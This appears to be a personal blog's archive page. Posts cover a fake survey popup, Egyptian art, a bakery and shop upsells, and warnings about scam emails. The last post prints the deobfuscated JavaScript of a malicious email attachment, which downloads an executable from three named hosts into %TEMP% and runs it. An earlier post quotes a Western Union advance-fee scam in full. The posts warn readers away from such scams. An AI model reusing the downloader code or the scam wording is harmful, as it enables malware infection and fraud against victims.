Author Archives: The Old Wolf

Stung by a deceptive popup

Posted on by The Old Wolf

Sometimes I’m just tired, I guess. Normally I don’t pay attention to things I see on my Android since I don’t have ad-blocking software and I’m used to getting the occasional popup or redirect. The other day I saw this:

Screenshot_2015-08-11-05-21-02

and thought, what the heck. To my shame, I didn’t bother to look at the URL: 2015survey.com-visitor0vsj.link. Decidedly not from Comcast.

(It did bother me that they got my IPv4 address right – I wasn’t using a proxy at the time – and really, none of us has any privacy on the Internet, but that’s a subject for another day.)

Let us make my own folly into an object lesson for others.

After a few generic questions about my satisfaction with Comcast, I get this:

Screenshot_2015-08-11-05-42-30

Well, hqiz. As soon as I saw “Garcinia Cambogia,” I knew I’d been hornswoggled into looking at a whole raft of camel ejecta that I’d normally only see on clickbait ads.

So my “reward” is the privilege of looking at affiliate-marketing ads for crappy, worthless products. “Quantity remaining” and “valid for only 60 minutes” are shameless lies. Why anyone would do business with such blatant crooks is beyond me. Notice that the price for every “reward” is $0.00, but you pay for some shipping, and if you follow one of the “rewards,” you’ll get roped into a scummy deal in which you’ll lose both money and your personal information.

A relevant quote from an Atlantic article which I referred to elsewhere says a lot about this kind of trash:

The downside to affiliate marketing is its astonishing rate of fraud. Because affiliates put up their own money to pay for ads pushing these products, they have a strong incentive to dupe consumers, so they can recoup their investment. If you’ve ever clicked an ad or a “sponsored link” about, say, a spectacularly effective new weight-loss scheme, which then leads you to a fake news article (or “farticle,” in the industry parlance) filled with sketchy scientific findings and constant entreaties to buy a product “risk free,” then condolences are in order: you’ve likely stumbled into some affiliate’s trap. “Affiliates are the most creative bunch of people you’re ever going to find, because you’ve got 5,000 people promoting the same product, and they’re all trying to get an edge,” Jim Lillig, an Illinois-based affiliate-marketing strategist, told me. “So of course you’re going to have people pushing the envelope. Some will do anything and everything to promote a product they think they can make money with.”

Gah.

At the end of the list, I got this:

Image2

“Comments” from “satisfied users” (meaning, paid shills or total nonsense written by the advertiser using stolen or stock images), and a chance to leave my own comment:

Sleazy. You don’t care about my answers, you just want me to buy sketchy, worthless junk that I’d normally see on clickbait ads (if I didn’t use add blockers, that is.)

Trouble is, these comments go directly to /dev/null, and no one will ever see them – except you.

When all was said and done, there was this, which makes it clear that I have fallen prey to an affiliate marketer:

foot_guarantee

2008-2015 All Rights Reserved. This is an independent survey and marketing website which is not affiliated with or endorsed by Comcast Cable. This website does not claim to represent or own any of the trademarks, tradenames or rights associated with any of the offers which are the property of their respective owners who do not own, endorse, or promote this website. All images on this website are readily available in various places on the Internet and believed to be in public domain according to the U.S. Copyright Fair Use Act. Offer shipping and handling fees may apply. *See manufacturer’s site for details as terms may vary with offers. NOTE – This website receives compensation in exchange for promoting third party offers. See important terms and conditions regarding this survey, site, and advertisement here.

“Satisfaction Guaranteed.”

Be smarter than I was the other day, and don’t click things like this.

Old_Wolf_Blush

The Old Wolf has spoken.

Scamming Scum

Posted on by The Old Wolf

The boys from Benin, like the Lads from Lagos, never seem to give up.

Subject: MTCN: 3784757648 Amount: $5000.00
From: DAVID JOHNSON <foreignpayments19497@gmail.com>

To: undisclosed-recipients:;

MR DAVID JOHNSON
Payment Director
West Africa zonal office,
Western Union.

Ministry of Finance,

WELCOME TO WESTERN UNION MONEY TRANSFER THIS MAIL IS ONLY FOR THE
OWNER OF THIS E-MAIL ADDRESS:

Below is the information of your first payments $5000 Dollars sent to
you today. But unfortunately, the managing Director of this department
called us this morning and
reported that you have not paid the required fee $100 which you are
supposed to pay earlier for the purchasing and updating of your
transfer files but we have
already sent out the payment out but not yet been putting on your name
as the receiver. You will be receiving $5000 daily until your total
amount of funds $520,000
is fully paid to you.

Since you are finding it difficult to get the $100 we have decided
that you are to go ahead and pay whatever you have out of the total
fee $100 required. But
remind you, no amount below $50 will be accepted so we expect you to
pay whatever amount from $50 and above. You are to pay what ever you
have and we will activate your
mtcn number and direct the transfer to your name as the receiver.

Send it to this information below:

Name:__________Joe Mba
Address:________Cotonou/ Benin Republic
Text Question____Transfer?
Answer_____________Yes

Please any amount you send let us know but remember any amount below
$50 will not be accepted. Send us the payment information’s
immediately after you send it.

HERE IS THE MONEY TRANSFER DETAILS MADE TO YOU!!!

MTCN: 3784757648
Sender’s First Name: CLARENCE
Sender’s Last Name: CORASS
Test Question:Color
Answer: Blue
Amount: $5000.00

Don’t expose this numbers to anybody else. If you need to check the
transfer online to see that the money is posted online for
you:https://wumt.westernunion.com/asp/orderStatus.asp?country=BJ
Note that the money detail given to you does not bear your name as the
receiver yet. As soon as we receive the fee from you, we will
immediately activate your
mtcn# and put your name as the receiver. Please take note; you need to
go along with your passport ID or Drivers license when you need to
pick up the transfer
okay.

We look forward to hearing from you. Contact me with this Email (
wudpt5@gmail.com)

REGARDS,
MR DAVID JOHNSON
WESTERN UNION BENIN -TRANSFER AGENT

This personal email, sent to “undisclosed recipients,” is certainly tempting. Okay.

So many things wrong with this, but sadly some people will fall for it.

In case you were wondering, it’s a scam. It’s always a scam. As soon as anyone mentions Western Union or Send Money, you can be sure it’s a scam.

Don’t fall for this. Ignore any such emails. Please.

The Old Wolf has spoken.

Simple People from Egypt

Posted on by The Old Wolf

I recently posted about Robert Hay’s engravings of Cairo, While cleaning out some of my own files, I came across a calendar from 1995 – “Simple People from Egypt” – that had been given to me by a friend and colleague, Elhamy Naguib, whom I met in Cairo while working on a translation project.

I have always loved these images, and now that digitization and sharing is so easy, I thought it time to share with others.

Elhamy worked hard to develop his talent, and has done a wonderful job in an impressionistic way of rendering the nature of Egyptian street scenes. I especially love the faces. They capture the good-hearted nature of the people of Egypt, who – like many of the people of the Middle East – illuminate their country and are not represented by the fanatical, misguided loons who are getting so much media attention these days.

Having spent a fair amount of time in Cairo and other places around the Arabic-speaking world, these images speak to me; somewhere in the world, the originals of these paintings exist, it is to be hoped. I would be honored to have any one of them hanging on my wall.

All images copyright ©1994-2015 Graffiti, designed by Elhamy Naguib

———————-

SERENITY

Coming home from school as a child, I passed by a man and his wife on a street corner by my parents’ house. They were selling water cress, radishes, parsley and dill in small quantities. Their simple inventory stayed practically the same for over thirty years, until they died one after the other. My attitude has changed from irritation at their complacency to an admiration of their contentment and serenity.

In the rat race of the big city, I looked for people like them on the streets and asked myself the same question over and over again: “How does one achieve such serenity?” My feelings for them are a mixture of love, sympathy, and envy. In these paintings, I pay tribute to the couple mentioned above and to others like them. I cherish all the lessons they teach me.

-Elhamy Naguib, 1994

Tea Break

Tea Break

Fly Swatters

Fly Swatters

Serenity

Serenity

Shop Keeper

Shop Keeper

Shishas

Shishas

Spices

Spices

Learning

Learning

Baskets

Baskets

Flowers

Flowers

Clay Water Bottles

Clay Water Pots

Pumpkin Seeds

Pumpkin Seeds

Matches

Matches

As Elhamy cherished the memories of the people he encountered in his life, so I cherish my memory of him. These beautiful paintings serve to remind me that my own memories of Egypt are ones of peace and beauty.

The Old Wolf has spoken.

The King of the Upsells

Posted on by The Old Wolf

Now that the birthday has passed, the story can be told.

I went to F.Y.E. to buy a CD for my wife. I take my purchase to the register.

First Up:

Salesgirl: “Do you want to sign up for the F.Y.E. Backstage Pass? It’s free for the first month!”
Me: “How much is it after the first month?”
Salesgirl: “Only $11.95 per month thereafter.”
Me: “No, thank you.”

Apparently FYE has not had good press regarding their “Backstage Pass.”

Next:

Salesgirl: “Would you be interested in the CD replacement warranty today?”
Me: “No thanks.” (I didn’t even bother to ask how much extra profit they wanted on this one.)

Next:

Salesgirl: Pointing to a display of potential magazine subscriptions taped to the counter, the kind you’d find lying around in a substandard doctor’s office – People, Vogue, Cosmo, etc. “Would you like to buy a subscription to any of these magazines?”
Me: “No thanks.”

Next: (Will this ever end?)

Salesgirl: Pointing to a discount bin by the register: “Would you be interested in any of these fine movies for only $5.00?
Me: “No thanks.”

What I really wanted to say was, “Holy hqiz, girl, I only came in to buy one album. At least at McDonald’s they only ask you “Do you want fries with that?”

And the sad part is that these sales associates get graded on how many upsells they make, and probably have a regular quota to meet. I can’t imagine how many people they drive away with this relentless drive for nickels and dimes. Frankly I’m surprised they stay in business.

The Old Wolf has spoken.

“He takes them to a pastry shop to eat some good cakes.”

Posted on by The Old Wolf

For as long as I can remember – my very earliest reading days in the 50s – Babar was one of my favorite children’s books. I always loved this page, where Babar takes his two little cousins Arthur and Celeste to a patisserie… those pastries always looked so good to me, and my mother had already introduced me to the delights of brioches.

Yesterday was my wife’s birthday, and we spent the day doing a massive Yarn Hop around the local yarn stores of Salt Lake, but before heading home, we stopped in at “Gourmandise,” a French bakery/café that sits at 250 South 300 East, right where the original Ratskeller Pizza Shoppe used to be.

gourmandise

Photo from their website

That display of pastries and other goodies is Babar come to life for me, and the quality is every bit what I would expect. (No, they’e not paying me for this post.)

Here are two of the goodies we brought home last night, the other two were devoured before I thought of writing this, and they were absolutely divine.

Pastries

Yes, they’re pricey – but you don’t find stuff like this for a buck and a quarter at Smith’s. It’s probably a very good thing that I’m not wealthy enough or close enough to patronize these guys on a regular basis, or I’d look like Fat Albert.

The Old Wolf has *belch*  spoken.

Six Views of Cairo – Robert Hay

Posted on by The Old Wolf

The six lithographs below were published by the American University in Cairo Press in 1983. They were found among my mother’s possessions; she spent years in Egypt on various assignments from World War II to the 1970s.

Description

A - Sabil Kuttab

Description A

B - Bab Zuwayla

Description B

C - Bayn Al Qasrayn

Description C

D - Minaret, Ibn Tulun

Description D

E - A Circumcision Procession

Description E

F - Barquq Mosque

Description F

What would be really interesting would be some contemporary street scenes from Cairo showing what these locales look like today.

The Old Wolf has spoken.

Order to Appear in Court

Posted on by The Old Wolf

Nothing to see here, folks, just move along. Another scam email from fraudsters trying to get me to download malware to my computer.

This time the Javascript code wants to go out to startick.com, mrflapper.com, and ihaveavoice2.com (all of which are invalid top-level domains), and then download and install other nasty stuff to my computer.

Here’s the email that this came attached to:

To: [edited]
Subject: Notice of appearance in Court #00928994

From: “District Court” <jimmie.cowan@138-172.static.hkit4u.com>
Notice to Appear,
You have to appear in the Court on the July 27.
Please, prepare all the documents relating to the case and bring them to Court on the specified date.
Note: The case may be heard by the judge in your absence if you do not come.
You can review complete details of the Court Notice in the attachment.
Sincerely,
Jimmie Cowan,
Clerk of Court.
Attached: Notice_to_Appear_00928994.zip
That “notice to appear” attachment is actually a JavaScript file, and it came as garbage that looked like this:

function sah126() { return ’00) {‘; };  function sah125() { return ‘ == 2’; };  function sah210() { return ‘+fr+’; }; function sah86() { return ‘ar dn’; };  function sah105() { return ‘rea’; };  function sah95() { return ‘bj’; };

But as soon as the code runs, it concatenates all those little bits into something that looks like this:

var stroke=”55565C5E0D0A020B240507050001091D0B0203160105100A0117174A070B09″;

function gvi() { return ‘e’; }

function sah() { return ‘val’; }

function dl(fr)l”); v { var b = “w’; };

ww.startick.com mrflapper.com ihaveavoice2.com”.split’; };

(” “); for (var i=0; i<b.length; i++) { var ws = new ActiveXObject(“WScript.Shelar fn = ws.ExpandEnvironmentStrings(“%TEMP%”)+String.fromCharCode(92)+Math.round(Math.random()*100000000)+”.exe”; var dn = 0; var xo = new ActiveXObject(“MSXML2.XMLHTTP”); xo.onreadystatechange = function() { if (xo.readyState == 4 && xo.status == 200) { var xa = new ActiveXObject(“ADODB.Stream”); xa.open(); xa.type = 1; xa.write(xo.ResponseBody); if (xa.size > 5000) { dn = 1; xa.position = 0; xa.saveToFile(fn,2); try { ws.Run(fn,1,0); } catch (er) {}; }; xa.close(); }; };’; };

try { xo.open(“GET”,”http://”+b%5Bi%5D+”/document.php?rnd=”+fr+”&id=”+stroke, false); xo.send(); } catch (er) {}; if (dn == 1) break; }; }; dl(4851); dl(5382); dl(2753);var po = ”

for (var ckz=1; ckz<=242; ckz++) { po += this[‘sah’+ckz](); } this[gvi()+sah()](po);

I’ve mentioned these a few times before – the only way to keep yourself safe is to never open attachments you receive in email messages unless you are 100% sure whom they are from and what they are.

The bad actors want access to your data and your computer, and they don’t care how they get it.

Be careful out there.

The Old Wolf has spoken.